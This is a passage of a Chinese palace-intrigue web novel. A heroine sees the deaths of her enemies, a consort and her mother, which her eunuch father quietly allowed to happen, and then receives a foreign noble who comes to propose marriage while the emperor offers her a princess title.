万珍珠跟亲娘一道用过饭,尔后,她得着宫里的消息。 “充仪娘娘殁了。”万珍珠知道这消息时,她真愣住。 前世今生,前世的朱三姑娘活了一辈子,真可谓是享受一辈子。 今生,朱三姑娘去宫廷内苑搏一场天家富贵。哪料,不,应该说求仁得仁,求锤得锤。 “充仪娘娘殁了……”牛二囡知道这一个消息时,她也傻眼。 “究竟怎么回事?”牛二囡想问一个根底。 报信的丫鬟哪知底细? 她不过是传话的人。宫廷里的消息,也是宫廷里的内相大人让递一个口信回来。 “娘,究竟如何?等爹爹回府,爹爹一定最清楚。”万珍珠劝一回亲娘。 在心头,万珍珠感受着心头一下子轻松了许多。 当然,轻松归轻松,万珍珠还在琢磨着。 那朱三姑娘殁了前,她会想些什么?可曾后悔了,为何要进宫搏一回前程。 瞧瞧,人殁了,四皇子一个早产儿,哪怕是天家皇子。可没生母护着。 那前程,飘乎了。 当然了,这些不影响着万珍珠。其时,如果可以的话,万珍珠更想知道了杨夫人的心情如何? 说到底, 前世万珍珠一家人的悲剧。万珍珠最恨了杨夫人。 如今的杨夫人白发人送黑发人。万珍珠很想知道杨夫人的心情是咋样。 光想想,对方很难过,对方欲生欲死。 只要琢磨一下,万珍珠就开心的很。毕竟人活着,有时候活得太难了,那可能会让人生不如死。 镐京都,杨宅。 杨夫人得着宫廷内苑的消息比着万珍珠这儿晚。 杨夫人知道时,她整个人是慌神的。 “怎么会……”对于这一个结果,杨夫人不想相信。 “不是说凤曦病了,太医在治,瞧着已经有些起色吗?” 杨夫人对于宫廷内苑的消息很关注。 因为宫廷之内有她的闺女和外孙。这些年,杨夫人不急着回永州。 杨夫人没守了儿子儿媳和亲孙子。她在镐京都待着。 为的什么?当然是为了知道镐京都的消息。 同时,也是拉拢了一些关系。谁让朱氏一族接连出事。 杨夫人左右转圜,一时离开镐京都。 一时拖着,没能离开。这一拖再拖,就拖到了如今。 当初没走成,现在知道亲闺女殁了。杨夫人又担忧着皇外孙。 朱氏一族很不好,做为朱氏一族的宗妇。杨夫人知道内情。 朱氏一族要靠着皇外孙撑场面。 宫廷内苑有娘娘,跟宫廷内苑没娘娘,那是两回事。 “凤曦。”杨夫人喊一声。尔后,她捂嘴咳了一回。 等着杨夫人拿开手,再一瞧时。杨夫人感受着喉头的腥甜味。 再瞧着掌上的殷红一片。 杨夫人觉得头晕。尔后,杨夫人真的晕厥过去。 “夫人……”侍候杨夫人的丫鬟给吓唬住。 在大宅子里,杨夫人就是主子。或者说也是大家伙的主心骨。 主心骨倒了,谁能不慌? 要知道杨夫人为何晕厥,那是因着宫廷里的娘娘殁了。 关乎主家的大事,下面人也害怕的。 一时间,嬷嬷赶紧吩咐一回。请大夫入府治病。这肯定免不了。 至于旁的? 当然得等着杨夫人这一位主心骨醒来后,那才能安排一二。 镐京都,内城,浑江郡主府。 关于宫廷里的中秋佳节大宴,还是依旧。这事情万珍珠是知道的。 谁让朱凤曦的封妃,当初只有天子的口谕。 等人殁了,也不过是再追封一个妃位。 人都殁了,当了妃娘娘又如何?万珍珠一点不介意。 她一个大活人不会跟死人计较什么。反正不过是嫔妃。 万珍珠这一位郡主又不会进宫哭灵。 对于嫔妃的身后事,那跟皇后薨了,从来是两回事。 只四皇子嘛,万珍珠更不在意。那是天家的事情。 如今的万珍珠只在意一桩事情。她听着消息,杨夫人病了,听说病的很利害。 在心里,万珍珠还盼着,她就杨夫人有一个什么收场呢。 也不知道是不是乌鸦嘴。 万珍珠嘴里没嘀咕,可在心里画圈圈几回。尔后,在朱凤曦这一位淑妃娘娘的身后事一结束。 万珍珠就知道了最新的消息。杨夫人病逝。 第59章 “真怪。”虽然说万珍珠应该不在意朱凤曦母女的去逝。 这当然是想想的假话,其时,万珍珠很在意。 朱凤曦去逝,万珍珠那会儿开心一时,她解开了前世的一点心结。 等着杨夫人没了,万珍珠的心结彻底搁下。 只是这朱凤曦母女二人说没就没了,太突然。 世间事又哪有什么巧合的。反正万珍珠从来不相信。 就因为不相信,不需要证据。万珍珠凭着直觉,她有一种感觉。 这事情跟她有干系,这感觉保真。 与她干系在何处?万珍珠不需要多想。 当初也跟亲爹说过的话犹在耳边。这会儿念叨二字。 万珍珠的目光望向了宫廷内苑的方向。那儿,亲爹在当差呢。 秋日好时光。 万忠良在一日休沐时,他回了府里。 对于万忠良的休沐,这是洪福帝特别允许的。 不为旁的,只因着护驾那一回万忠良受伤太重。 太医给的结论,万忠良还是需要多多休养,往后也得好好保养。 人老了,那就得认识到,老了的身子骨不能跟年轻人一样。 洪福帝对于万大伴的感情深。特别是经过生死考验的感情。 于是万忠良对于天子的特许,他当然不能拒绝。这是天子给的体面,他若拒绝了,岂不是太不识趣。 这一日,万忠良回了府里。 牛二囡去参加一场宴会,恰巧不在府里。妻子不在,女儿却在。 父女二人一道吃吃茶。万忠良挺享受的。 吃宫里的茶,跟吃家里的茶,那味道不一样。 至少落入万忠良的嘴里,那尝出来的味道不一样。 家里的茶,那有家里的亲人感情。 “咱得着消息,赵济世再有几日会进了镐京都。”万忠良跟女儿讲明此事。 万珍珠脸一红。 万珍珠这会儿的情绪有一点点激动。毕竟,这关乎一辈子的终身大事。 若说不在意,又岂可能么? “爹爹,赵大哥进了镐京都,一切由您和娘做主嘛。”万珍珠笑道。 这会儿万珍珠说话的语气是娇嗔着。那是做了小儿女的做派。 在亲爹跟前,万珍珠就是小辈。让爹娘把关终身大事,万珍珠很放心。 最主要还是让亲爹把关一二,让亲娘瞧一瞧未来的女婿。 这二老也是享受一番刁难女婿的戏码。万珍珠一点不介意。 其时万珍珠更清楚,爹娘心疼她,哪里又真的会刁难赵济世。 更可能的还是为着她的婚事,亲爹亲娘要备了重重的嫁妆。 至于聘礼,家中就一个女儿,那些还不是留予她的。 “爹爹,有一事,我近几日琢磨了。还想跟您问问。”万珍珠在跟亲爹说一番赵济世的话题后,她又转移了话题。 关乎终身大事,还是等当事人到来,到时候再谈吧。 如今的万珍珠不想谈。因为另一位当事人赵济世不在场呢。 “你倒害羞了,还跟咱转移话题。”万忠良这般笑话亲闺女。 “我可不是害羞。”万珍珠不承认。 “罢,罢,是咱冤枉了闺女。”万忠良笑道:“说说,闺女,你想问何事?” “爹爹,淑妃娘娘殁了,杨夫人没了。这朱氏的风水是不是突然变坏了?”万珍珠提了这一个话题。 “可能是恶人做事,天在收债吧。”万忠良给一个答案。 “嗯,当是如此。”万珍珠点点头。 对于杨夫人干过哪些恶事,万珍珠知道许多。 反正杨夫人的手不是什么干净的。 至于朱凤曦?这一回进了宫廷内苑后,也不是什么纯粹的白莲花。 就万珍珠听着亲爹议一议的那些事,万珍珠就知道,在宫廷内苑的娘娘,手上真没干净的。 只能说乌鸦与黑猪,谁也别嫌弃谁黑。 “那……”万珍珠迟疑一下后,问道:“女儿的终身大事快要有归宿了。爹爹,那一切……是您想替女儿圆满一回吗?” 万珍珠还是问出来心底话。 万忠良沉默片刻,尔后,回道:“你是咱的闺女,咱早说过,咱帮亲不帮理。” “你要问咱亲自动手没有?咱没有。”万忠良说道:“咱只是在一些事情上睁一只眼睛,闭一只眼睛。让一些干了坏事的恶人耳目闭塞一些,尔后,再让恶人的对头抓了把柄。” “宫廷内苑,那是陛下的禁宫之地。咱也得讲究一下手段。”万忠良点一点话。 万珍珠听懂了。 “爹爹费心思了。”万珍珠感慨一回。 至于亲爹做这些事情为何?当然是为她。 大晋朝,镐京都,皇宫,宫廷内苑。 洪福帝跟前当差的是旧人张昆。这一位对于万忠良识趣的,没再天天,早早晚晚,一直蹲守于天子跟前露脸。 张昆很满意。 不能总让万忠良瞪鼻子上脸的在天子跟前献媚。 张昆也是旧人 ,也想捧一颗忠心给天子瞧一瞧。 皇权在上,多少人想巴结上去。张昆一介太监,他当然也是凡人,也有欲望。 “禀陛下,四皇子殿下已经挪到泰和宫。”张昆回话道。 “让下面人好好侍候皇子,你多瞧瞧,敲打一二。”洪福帝吩咐一句。 “唯。”对于此事,张昆当然上心了。 如今泰和宫养了两位皇子。早前,淑妃娘娘殁了。 洪福帝没急着把四皇子挪到泰和宫。 那会儿的洪福帝还是有忌讳,不外乎,四皇子是早产儿,比着三皇子身子骨弱些。 说弱些,也是抬举。而是四皇子的身子骨比三皇子当初弱太多。 一个身子差的小皇子,还在幼时。这能不能养好,能不能养大? 难说的很。 对于帝王而言,后宫不缺嫔妃。洪福帝觉得自己的子嗣嘛,往后还会有。 一个可能会夭折的皇子,洪福帝并不想投入太多的感情。 感情投入的多了,也怕皇子殁了后,那会伤人心。 洪福帝有想法,跟前人当然顺从。 只万忠良在昨个私下向天子献言,讲了一二桩的小事。 也就是这些小事,才让洪福帝改变了主意。 旁人的话,洪福帝不一定听得进去。可万大伴的话,洪福帝还是听得入耳。 “朕的话,你且记心上。四皇子好了,朕于你有重赏。”洪福帝又交待一回。 “奴才谨记。”张昆一听这话,赶紧应下。 只在心里,张昆既是高兴,又是担忧。 护了四皇子一事,瞧着陛下让张昆关注着。 这当然是好事,有一位皇子在手,对于张昆的未来是大好事。 万一,四皇子有前程,张昆的前程更不可限量。 可还有万一,四皇子夭折呢?张昆听出来帝王的意思。 他往后跟四皇子貌似牵连在一起。 一旦四皇子不好了,张昆很担忧自己的将来。 可一想到四皇子好了,自己的光明前程。 对于万忠良如今在天子跟前的地位。 张昆既是羡慕,又是妒恨。 万忠良如何爬到如今的地位?除了那甚的救驾之功。 更主要还是当年的万忠良,那是在洪福帝幼年时就攀附在还是皇子的洪福帝身边。 陪帝王长大,知帝王喜好。这感情深了,那当然一切不一样。 帝王也是凡人,也有喜怒哀乐。 张昆很想做下一个万忠良。瞧一瞧万忠良的闺女被册封为郡主。 张昆还听着一些风声。皇帝对于万忠良还有许诺。 只那些许诺,万忠良虽然拒绝了。可有一些,这一位万大伴没拒绝。 万家,那富贵还在后面。 宫廷内苑。 王贤妃在生气,她恼的很。这会儿王贤妃撕了一条手帕子。 “嬷嬷,你说说,陛下如何就抱了四皇子去泰和宫养着。”王贤妃不开心。 明明朱淑妃殁了时,王贤妃还暗暗的高兴一回。 可这高兴太早了。 王贤妃已经发现了,打从朱凤曦这一位淑妃殁了后,她貌似也失宠了? 为什么? 王贤妃不甘心,她争取过圣宠。想了许多的法子。 可帝王不配合,王贤妃纵有万般的手段,那也没能勾得帝王的在意。 没了圣宠,让王贤妃还高兴的,便是她膝下有三皇子。 三皇子一天一天长大,明明在帝王跟前很得宠。 如今再添一个四皇子,这是分薄了三皇子的父爱嘛。 这让做亲娘的王贤妃哪能不生气。王贤妃气的,那是恨不能没四皇子这么一个人。 “嬷嬷,你给宫话递话了吗?问一问宫外,可是又惹了什么麻烦,才让陛下厌恶上本宫。” 王贤妃左思右想,她真的没想着最近出什么差子。 掌宫务,王贤妃也是管的小心谨慎。就怕哪里出差子。 虽说帝王差了人,也替王贤妃分忧一些。 那又如何?哪怕是帝王差的人,那到底是奴才。 在心里优势上,王贤妃一点不虚的。 王贤妃更在意的还是帝王不喜她了。那会不会册立新后? 一旦有了皇后,三皇子不是嫡子的话。光想一想这等前路,王贤妃对于有新中宫一事,那顶顶恨上。 主要是朝廷上有风声,有人上奏本,请天子册立中宫。 明明王贤妃觉得自己有机会当中宫。她膝下有天子的实际长子。 可惜,二叔的事情闹出来。 王贤妃就是被拖累一回。荣恩伯府也是闹一个没脸。 “娘娘,宫外的伯府真没大事。当初出了二老爷的事情,伯爷不止严查,还是约束了上上下下。” 王嬷嬷小心的回话道。 “不是族里出事吗?”王贤妃的目光望向了泰和宫的方向。 “嬷嬷,本宫觉得……”王贤妃话至止,她是迟疑起来。 “会不会是陛下真想册立中宫,而本宫不是陛下心中的中宫人选。如今做的,不过是点醒了本宫。本宫不配……”王贤妃的神情有些落魄。 王嬷嬷听着这话,她心肝儿颤抖一下。 做为王贤妃的心腹,王嬷嬷的前程也挂在王贤妃的身上。 昭阳宫出事,昭阳宫的旧人是什么下场。光想想,王嬷嬷也怕。 “娘娘,也许……”王嬷嬷迟疑一下后,小心的说道:“会不会是淑妃殁了一事,让陛下怀疑了您。” “……”王贤妃沉默下来。 良久后,王贤妃才说道:“嬷嬷,有些话不可说。” 有些事情可以做,但不可以说。 或者说有些事情不被人抓了尾巴,那当然就可以当没有发生过。 大晋朝,镐京都,秋日。 赵济世踏足了镐京都,这会儿他不急,先去客栈落脚。 尔后,赵济世洗漱一番,才去大晋朝的衙门递了国书。 赵济世来一趟大晋朝,主要为了求亲。同时,也是替大赵的天子李明弘带了国书。 带国书,做使节,这是顺道的。 这也算是李明弘给赵济世安的一个差使。毕竟赵济世是大赵朝的新唐县伯。 无缘无故,一位伯爷去别国他乡,没正当理由。 那容易被人攻讦。 大赵天子李明弘在赵济世求了话,又是恭敬跟上面求了名义时。 天子当然允许一回。 谁让燕京都里,哪一个头面人物都知道。新唐县伯还没成婚,真是大龄男青年。 浑江郡主府。 万珍珠见着拜贴,尔后,她沉默片刻。 这会儿的万珍珠神色带一点欢喜,又带一点复杂。 万珍珠吩咐了话,用意明显。这贴子收下,事情应了。 尔后,万珍珠去见了亲娘,再给宫廷里递了话。 当天,万忠良回了府。 万珍珠一家三口一起用过夕食。用罢,一家人闲聊一番。 “赵大哥进镐京都了。”万珍珠讲道。 “咱知,衙门还有大赵新唐伯的使节呈仪。”万忠良笑道。 “爹爹,娘,明个赵大哥要亲自登门拜访。”万珍珠又讲道。 “咱也知。”万忠良点头道:“刚回府,你娘就讲了此事。” “那明个,未来的丑女婿也要见一见岳丈大人和岳母大人。”万珍珠说道。 牛二囡的目光落在亲闺女身上。她道:“说甚的丑女婿,我可知,你爹说新唐伯长得俊。” “闺女,你似乎也提过,你爱俊儿郎。”牛二囡掀了亲闺女的底。 “……”万珍珠给亲娘的话咽着。 沉默片刻,万珍珠点点头,坦诚回道:“娘说的对,我这人就爱看脸。好看不好看,这是一辈子的事情。” “真让我天天对着一张丑脸,我遭不住。”看脸嘛,看颜值嘛,万珍珠认了。 本来就是事实,想反驳,万珍珠也没底气。 “哈哈哈……”万忠良在旁边畅快的大笑一回。 大晋的衙门接了大赵使节的呈文。应该递上去的,当然会转递上去。 至于赵济世这儿,不止要等候了大晋朝衙门的安排。 出使一事,当然要完成。 同时,应该拜访了浑江郡主府,为求亲一事。 先去拜会了长辈,赵济世也当踏出第一步。 只在心底,赵济世心情还是激动的。这一晚,赵济世想早些睡,可到底还是晚些睡着。 许是情绪太欢喜,一时情难自禁。 次日,浑江郡主府。 万珍珠起得早,她发现,爹娘起得也早。 这一日的朝食,一家三口比往常用得早些。 朝食后,万珍珠还去梳洗一番。 或许要见一见未来的良人,万珍珠还想以盛装见面。 女为悦己者容。这话几分真? 这不重要。 反正在盛大的日子里,盛装一番,不止为了愉悦别人,更是愉悦自己。 “郡主发髻上簪的花真好看。” 万珍珠听着身边人的夸赞,她笑一回。瞧着梳妆镜中的自己。 万珍珠瞧着自己脸蛋儿上的婴儿肥。真的很衬了这一朵大大的秋菊。 明黄色的秋菊开得灿烂。簪花于发髻上,有金钗珠翠,确实是一片繁华。 富丽堂皇与花开一朵,万珍珠抚着 自己的脸颊。她想,这算不算盛世脸? 不管如何,至少盛装后,万珍珠觉得自己美美的。 这一会儿,她确实做到了愉悦自己。 “郡主。”又有丫鬟来报信。 “新唐伯入府了。” “知了。”万珍珠笑道:“走吧,我们也去前院。” 万珍珠知道,今个爹娘要见一见赵济世,当在前院会客厅。 待万珍珠到时,赵济世确实也在会客厅里。 这会儿的万忠良笑眯眯,说话客气。倒是赵济世态度恭敬。 牛二囡的目光也一直落在赵济世的身上。哪怕亲闺女进来,也不过给一个眼神,尔后,挪开。 “新唐伯是客人,我儿,我记得府上的花园子里有那甚的墨菊,可稀罕着。不如你领新唐伯去赏一赏咱家的宝贝。”牛二囡讲一话道。 “……”万珍珠沉默。 赵济世忙起身,说道:“伯母美意,济世自当遵从。” “万妹妹,打扰了。”赵济世对万珍珠拱手一礼。 “去吧。”万忠良给了两字。 这会儿万珍珠瞧过爹娘的神情,她起身。 先跟爹娘见一礼,尔后,请赵济世一道去花园子赏墨菊。 待赵济世、万珍珠二人离开后,牛二囡的目光落在夫君身上。 “夫君,你真满意了新唐伯做女婿?”牛二囡又问一回话道。 “一表人才,你不满意?”万忠良反问道。 “人很好。就太好了,我怕闺女远嫁,将来降服不住这样的佳婿。”牛二囡更想说,远嫁,还是嫁得勋贵人家。 这样的人家听说是一屋子的贤妻美妾。一旦亲闺女跟前没长辈做主。 那叫天不应,叫地不灵时,又咋办?牛二囡很担忧。 万忠良说道:“这新唐伯是人才,咱闺女眼光好,挑中了好儿郎。” “再说,你啊,莫担忧了。咱闺女也不是什么好欺负的主。”万忠良可知道亲闺女私底下干的事情。 一桩一桩的也是大事。胆大,还胆肥。大晋天家的羊毛,他家闺女薅的起劲,可没手软。 哪怕是自己撑着,可闺女没本事,又哪能做起来一摊子的大事。 说是收入似流水,哗哗的入库。真的挣着大把金银。 那挣来的金银也没一直存了库房里,瞧着是收入多,花销更多。 万忠良对于闺女一直收养孤儿的一番做派,他很满意。 旁的不说,只闺女收买人心的招数。一直亲自上阵,不假人手。 万忠良关注着。知道后,他就明白自家闺女也不是安生人物。 若非万忠良就一个闺女,后继就这么一根独苗苗。 万忠良哪会让闺女这般折腾。 如今是万忠良护着亲闺女。等着没人护着,想折腾? 真当镐京都这一个斗兽场里,全是善男信女不成? 对于新唐伯提亲,在亲闺女有心创业时。万忠良就是同意了大半。 还有一些,也在见着赵济世后,万忠良便是全同意了。 万忠良相信自己的眼睛。 查过赵济世的资料,知道赵济世的过往。 对于这一人,万忠良满意的。 不为旁的,只这人讲承诺。 这一条就让万忠良最满意。还有便是这一位是军功封的爵。 这等爵位很稳,只要不走大差子,不止自己的前程无量,便是儿孙也端上了金饭碗。 更何况万忠良也给亲闺女求了一桩保险。 虽然不知道,那是不是保险。 到底在万忠良的心底,他真在意亲闺女。同时,对于浑江郡那一片土地,万忠良的心里也有想法。 不是为他自己,他一个太监,人老了,又哪能享受太多? 万忠良是替女儿的儿孙们记挂上。 人活一世,总想留一点什么。万忠良盼着的,便是女儿的儿孙们得了长久富贵。 哪怕女儿的儿孙不姓万,可身上流了万家的血脉。 万姓,万忠良在意。 可想着自己做了太监,这太监的名声不好。 为这一条,万忠良才是不想女儿招婿。 问万忠良自卑不?他在心中暗暗自卑的。 只这等自卑,因着什么?还是因为身体上的残缺。 就是待妻子牛二囡一样,万忠良能给妻子的就是荣华享受。 对于妻子享宴会上的吹捧。万忠良知道,他默许了。 有些事情,万忠良暗暗同意,那便是愧疚。 与妻女相处久了,亲情沉浮于心底。万忠良也摸一摸良心。 偶尔,那良心也会痛一痛。 花园里。 秋日菊开,各色争艳。万珍珠领了赵济世散步,二人单独相处。 至于旁人,倒不曾在近前。 “这是墨菊。”万珍珠指着这世道里难见的墨菊,她笑道:“都说稀罕,难得一见。” “赵大哥瞧一瞧,可会觉得丑了?毕竟这颜色在一些人的眼中,也许不讨喜呢。”万珍珠言笑晏晏。 第60章 赵济世瞧着面前的万珍珠,美人如玉,笑颜如花。 “各花入各眼,我瞧着面前的墨菊就很美。”赵济世坦诚相待。 不是假话,而是赵济世觉得喻花如人。 这花好看不好看,端看心意如何。 “哈哈哈……”万珍珠捂嘴笑一回。 “从燕京都到镐京都,从东边到西边,一路远来,赵大哥辛苦了。”万珍珠讲道。 “千山万水,不过尔尔。我曾有言,我会再来了镐京都的。”赵济世回道。 三年之约,赵济世一直记得。 原来觉得可能与万珍珠不相配。可是,哪怕一人是大赵臣子,一人是大晋内相的女儿。 那又如何?活一辈子,生死边上多走几遭。 心动了,赵济世就想坦坦荡荡,顺心一回。 凭着挣来的荣华富贵,有新唐县伯的爵位在身。 赵济世觉得已经建功立业。 搁哪一个家族,有这样一般的祖宗都够族谱单开一页。 更不消说,赵济世不止心悦了万珍珠。 在赵济世眼中,万珍珠不止人美,而且心灵也美。 这心灵之美,在于二人的看法很多相同。 赵济世与结义兄弟们,那当成一家人。就是做了领头羊,才知道当家的柴米油盐贵。 那些年,犹有什么旧语,都说一文钱难倒英雄汉。 这样话,赵济世一直记着,也是相信的。 因为赵济世在落魄之时,那就当过被一文钱难到的汉子。 爱财吗?说不爱财,太过假话。 钱财哪样都好,至少,能买来人饱腹。对于一个饿过肚子的汉子而言。 吃饱,吃好,过上好日子。钱财就太重要。 可钱财重要,权利更重要。因为,只有财,没有权,财是守不住的。 在中原的大地上,从来是权在钱财之上。有权,会有财。 有财,没权,那就是被人圈养的肥猪,会被宰掉吃肉的。 赵济世既想有钱,又想有权。更想把这些传承给儿孙。 他吃够了苦日子,那么,他的下一代,他的儿孙们就应该端了金饭碗。 不为旁的,他这做祖宗的,那就要让下一代端了金饭碗。 新唐县伯落许多人眼中,那就是一个能传家的金饭碗。 有了金饭碗,再迎娶心上人。人活一辈,如此岂不快哉。 “万妹妹,我是来求亲的。”赵济世笑道:“我想问,三年之约,那算数吗?” “算数。”万珍珠收敛笑容,认真的回道。 “允诺的话,从来算数。”万珍珠伸手,她摘下那一朵墨菊。 这会儿的万珍珠递了花给赵济世。她笑道:“名贵之花当要赠了美人。” “我赠予赵大哥,簪花可好?”万珍珠问道。 簪花,可不是只女子簪花。儿郎一样,俊美之人,簪花一样俊美。 赵济世这一回没拒绝。他接过来,尔后,簪于冠旁。 瞧着这般做法的赵济世,万珍珠想了想,又道:“只我的婚事,我说了不算数。还要劳烦赵大哥费心思,让我的爹爹和娘点 头才成。” “婚姻大事,总要让父母祝福。赵大哥以为,可对?”万珍珠问道。 “自然如此。”赵济世很认同。 或者说这是世道的规矩,聘则为妻,奔则为妾。 规矩,那就是大家遵守的习俗。 遵守了,那就是随大流。不遵守,不能打破规矩,那么,就会被规矩吞噬。 万珍珠是守规矩的。毕竟,爹娘心疼她。 万珍珠知道爹娘会同意她的婚事。只是这又如何? 赵大哥做为小辈,她亦是小辈。他们应该给长辈以尊重,可不是口头说说,应该的姿态还得摆出来。 “赵大哥,爹爹、娘都是心疼我的。”万珍珠笑道:“若赵大哥真心想迎娶万家女,爹爹和娘亲总拧不过心疼孩子的心思。” “我来镐京都,自也瞧出伯父伯母心疼万妹妹。”赵济世赞同道。 二人又闲聊几句。 赵济世从袖中拿出一个小匣子,笑道:“赠予万妹妹。” 万珍珠接过来,打开一看,里面是几方小印。 “我亲手雕刻的。”赵济世讲道:“寻得好玉,就想着亲手雕刻了。万妹妹若觉得能使唤,倒不妨用一用。” “很漂亮。”万珍珠瞧着雕功,赞叹一回。 “我喜欢这小印。”瞧着几方小印,万珍珠满面欢喜。 好玉,那也不难寻。因为上层的圈子里,就赞了玉养人。 玉乃君子之物,总之,好玉人人喜爱。那么,自然淘出来的也多。 可玉好,这不重要。 在万珍珠眼中,赵济世亲手雕刻,这一份心意很重要。 约过一会儿。 有丫鬟来传话,万忠良让人递的口信,留赵济世在浑江郡主府用饭。 用饭时,万忠良单独与赵济世用饭。用饭罢,万忠良又招待赵济世在花厅谈话。 “吃茶。”二人谈一谈,万忠良举一举茶盏,笑道。 赵济世应了话,自然配合。 万忠良打发走侍候的仆从,这会儿他讲道:“当年一见,就瞧你英姿勃勃,果然不出所料,当真英雄了得。” “新贵爵爷,族谱单开的大人物。”万忠良夸了赵济世。 赵济世心头没得意,他很清楚。万内相从普通宫人爬到当朝内相的位置。 这里面的争斗很多,凭着如今的威风,那哪有什么容易不容易的。 不止需要运道,更需要手段。 赵济世忙回道:“不过侥幸。” “蒙您夸赞。”赵济世态度谦虚。 万忠良搁下茶盏,他只浅浅的小饮一口。此时,又道:“你倒是好脾气。” “咱夸你,不是虚妄之言。凭你本事,真是俊杰。只是咱想不通,如何你会一心求娶咱的闺女。”万忠良问道。 要说亲闺女好不好?问万忠良这当爹的,在他的滤镜下,亲闺女自然处处妥当,哪哪都好。 可这一份好,那是当爹的觉得好。在外人眼中,亲闺女啥样形象? 万忠良觉得要打一个大大的折扣。 毕竟人见人爱,花见花开,真心很难。基本上不可能。 万忠良自己就明白,他这形象在一些人眼中,那是巴结着。 在另一些人眼中,更恨不得踩死。 人嘛,不止一面。搁利益面前,同样是不同时间,可能不同的立场。 “我心悦万妹妹。”赵济世回道:“不为外物,只是情之所钟。就想迎娶万妹妹为新妇,就想新唐县伯的爵位与家业让我们的孩子继承。” 赵济世开门见山的说道。绕弯子,那不必。 万忠良是长辈,赵济世摆了小辈的姿态来。 “如今讲话好听,将来若辜负咱的闺女。咱在大晋,你在大赵,咱拿你没辙。”万忠良说了大实话。 远嫁,在这一世交通很难很难的世道里,从来是远嫁就等于被娘家抛弃,又或者抛弃娘家。 “……”赵济世沉默良久。 “我信命。”赵济世最终开口,他说道:“见着万妹妹,我心生欢喜。” “这一份欢喜能不能保持一辈子,往后不知。可这一刻,我知,我欢喜的很。”赵济世只是凡人。 对于未来如何,会有期待。可真的说什么保证? 他哪敢。 他是从底层爬起来的,他能做的,就是努力的保证今天的一切,全然本心。 “可我知道,哪怕将来,我不再欢喜了万妹妹。那我们也是亲人,她是我一辈子的责任。我做人,就讲究一个原则,不抛弃。” 赵济世指一指胸膛,又道:“人活一辈子,一口唾沫一个钉,我改不了。” 真改了,赵济世觉得那样的话,他就不是他。 “你这话不中听。”万忠良感慨一回,说道:“却也是真话。” 万忠良欢喜不欢喜妻子牛二囡?当然没什么喜欢一说。 在万忠良心里,妻子是责任。 至于牛二囡的想法,万忠良不在意。他享受家庭的温暖。 万忠良也瞧得出来,妻子也享受了万氏如今的富贵荣华。 人嘛,不聋不哑,不做家翁。有些事情没必要追究太深刻。 万忠良知道的便是闺女身上流着他的血脉。而闺女身上也流着妻子一半的血脉。 如此血脉相连,那才是一家人。 次日。 镐京都,皇宫,泰和宫。 万忠良回了宫廷当差。趁着洪福帝心情不错时。 万忠良讲了话,道:“奴才遇着喜事。倒要跟陛下讨了休沐日。” “大伴遇上喜事。”洪福帝来了兴趣。 洪福帝让万忠良讲一讲,万忠良笑道:“托陛下的福份,奴才寻着妻女。奴才的女儿又得着天家的恩典,被册封为郡主。” “这不,奴才的闺女如今当成婚了。她的婚事,也是要订了下来。”万忠良讲一讲亲闺女万珍珠的婚事。 “哪家儿郎将迎娶了大伴的女儿?”洪福帝很好奇。 “大赵新贵,新唐县伯赵济世。”万忠良说了一番赵济世的背景。 洪福帝瞧着万大伴,良久后,才说道:“大伴真舍得女儿远嫁吗?” “如此父女分离,岂不伤了骨肉之情。”洪福帝劝道。 在洪福帝眼中,这真不是一桩良缘。 万忠良回道:“新唐县伯一表人才,奴才倒不在意这些。只小女被宠坏了,她一心爱慕了新唐县伯。奴才倒底是拧不过女儿的心意。” 万忠良的嘴里,似乎亲闺女成了恋爱脑。 可这般的形象,万忠良是故意的。他家的闺女,真不必是什么贤惠之人。 “年少不知事,就爱为情之一字说愁。”洪福帝感慨一回。 谁没年少时,谁没白月光。洪福帝感慨一番。 可到底感念万大伴一回,洪福帝劝道:“大伴不妨再劝劝,镐京都里好儿郎也多。” “真让大伴挑中的好儿郎,不妨就做了大伴的东床快婿。朕也知大伴心疼女儿。倒不妨,朕到时候册封浑江为公主。”洪福帝一直想筹功。 可万大伴总拒绝了,那么,洪福帝思来想去 ,瞧着万大伴心疼闺女。 于是洪福帝的心思就是给万大伴的闺女加恩。 可加恩归加恩,也得万大伴的闺女孝顺。 一个远嫁女,在洪福帝的眼中,又哪来的孝顺可言? 百年之后,没血脉骨肉在跟前,落洪福帝心里,那就不得劲儿。 洪福帝劝一劝万大伴。把万忠良感恩的当场痛哭一回。 不是伤心,而是感念帝王恩重。 “奴才失礼。”万忠良抹了眼泪。 “大伴真情流露。”洪福帝倒不在意什么忌讳。 或者说这哭一场,还得看谁哭。 万大伴嘛,洪福帝只会瞧着大伴可怜。那闺女不是省事的。 “大伴,不妨再琢磨一二。那大赵的新唐县伯能有多好?朕瞧着不过尔尔。大伴不妨瞧一瞧镐京都的好儿郎。”洪福帝劝话道。 万忠良应一声,这一回,貌似真被天子给劝住了。 在心头,万忠良感慨,做人难。做爹的,那更难。 万忠良一直想给女儿求一个保障。 如今天子开口,说是想给女儿一个公主的封号。 这其时是万忠良想求的。 只是事情嘛,不能是万忠良提。还得旁人提。 谁提? 当然是张昆。 莫看张昆跟万忠良一直争了天子恩宠。可张昆被支着多多照顾四皇子后。 张昆那就有眼色的很。落万忠良眼中,这人还得拉拢。 对于四皇子有没有大前程?万忠良不着急。 万忠良这一把年纪,天子丰华正茂,万忠良觉得等天子百年之后。他还活着吗? 那很难说。 因为万忠良觉得他一定活不过天子。那么,下一代的天子是谁? 万忠良不怎么在意的。特别是亲闺女还要嫁到异国他乡去。 万忠良只想多拢一些家财,让闺女的嫁妆更丰厚。 同时,让闺女得一个公主封号。 甭管是不是别国公主,有公主封号总不同。 特别是闺女这婚事,真不着急。 哪怕定下来,也不着急成婚。至少万忠良不着急。 有些事缓一缓,理一理,顺一顺,才好水到渠成。 得让新唐伯赵济世知道,他的宝贝闺女那不缺着夫婿人选。 人嘛,捡来的不一定心疼。 可争来的,总归会心疼的。 做为使节,赵济世在大晋衙门的安排下,他住在使节的馆阁里。 赵济世得着新消息。哪怕他想下订,这事情还得延后。 因着万内相把亲闺女的婚事往上一提,洪福帝驳了。 “这……”赵济世想骂脏话。 都说姻缘事,当爹娘的同意。怎么,那高高在上的天子倒不同意。 可来人,那是万忠良的干儿子。 宋三德瞧着赵济世,比他高,真壮实。瞧着一张脸,宋三德有一些明白。 赵济世虽然不是世家推崇的那一种俊美弱男子。那一种太书生味的美儿郎。 可赵济世的这一张脸一样俊,俊的有将门风采。 凭这,宋三德就是懂义妹浑江郡主为何会为了这样一位县伯要生要死,一定非君不嫁。 如果可能,宋三德也想在心里蛐蛐一回。 义妹真可谓是为了新唐县伯,哪怕远嫁一样乐意。 真是为他狂,为他哐哐撞大墙。 